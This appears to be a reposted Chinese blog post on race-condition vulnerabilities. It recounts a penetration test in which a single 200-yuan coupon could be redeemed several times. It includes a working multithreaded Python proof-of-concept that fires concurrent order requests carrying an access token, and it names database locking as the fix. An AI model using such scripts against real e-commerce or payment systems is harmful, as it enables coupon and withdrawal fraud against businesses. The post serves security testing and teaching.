條件競爭漏洞測試


概念:

競爭條件是系統中的一種反常現象,由於現代Linux系統中大量使用並發編程,對資源進行共享,如果產生錯誤的訪問模式,便可能產生內存泄露,系統崩潰,數據破壞,甚至安全問題。競爭條件漏洞就是多個進程訪問同一資源時產生的時間或者序列的沖突,並利用這個沖突來對系統進行攻擊。一個看起來無害的程序如果被惡意攻擊者利用,將發生競爭條件漏洞。

 

曾經出現過的漏洞:

 

網上大部分是使用轉賬的列子來說明的,曾經烏雲提現環節就出現過這個漏洞,當時大神也是提現到賬3000塊,官方24小時緊急修復,承認提現有效。美滋滋,但願烏雲早日歸來,仍是少年。

 

今天在滲透測試中,剛好碰到了此類漏洞,就簡單實踐下。

使用一張200塊的優惠券,可以重復下單多次,達到一張優惠券,多次使用的目的。

 

基本方法就是,在提交訂單的時候,抓取包,然后然后然后構造腳本,進行多線程並發操作。

備注:這最初一直使用burp intrude 的模塊,設置如下:

payloads  payload type: Null payloads

payloads options [Null payloads] Contunue indefinietly

Options Number of threads: 20

死活測試不出來,不知道是不是因為這個模塊,默認會發送一次請求包的原因。

最后構造Python腳本,成功復現此漏洞。

coupon_poc.py 如下:

#!/usr/bin/env python
#coding: utf8
#author: by Gandolf

import requests
import json
import threading
import queue


url = "https://www.baidu.com/api/xxx/"

payload = {"couponDetailId":56194,"email":"test123@gmail.com","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2}

headers = {

        'Accept': 'application/json', 
        'deviceId': 'fcc62818-9949-21c4-0832-5396fea4363b',
        'languageId': 'en',
        'appVersion': '8', 
        'deviceType': 'android', 
        'deviceMode': 'Google Nexus S', 
        'platformVersion': '4.1.1',
        'countryId': 'PH',
        'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I',
        'Content-Type': 'application/json', 
        'Content-Length': '106',
        'Host': 'www.baidu.com', 
        'Connection': 'close',
        'Accept-Encoding': 'gzip, deflate',
        'User-Agent': 'okhttp/3.12.0',
        'Cache-Control': 'no-cache'

        }
threads = 25

q = queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data=json.dumps(payload), headers=headers)
        print(r.json())

if __name__ == '__main__':
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join()

 

此類漏洞一般出現在:簽到,積分兌換,轉賬,優惠券,提現,文件上傳等環節。

修復方案當然是給數據庫加鎖啦

完!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM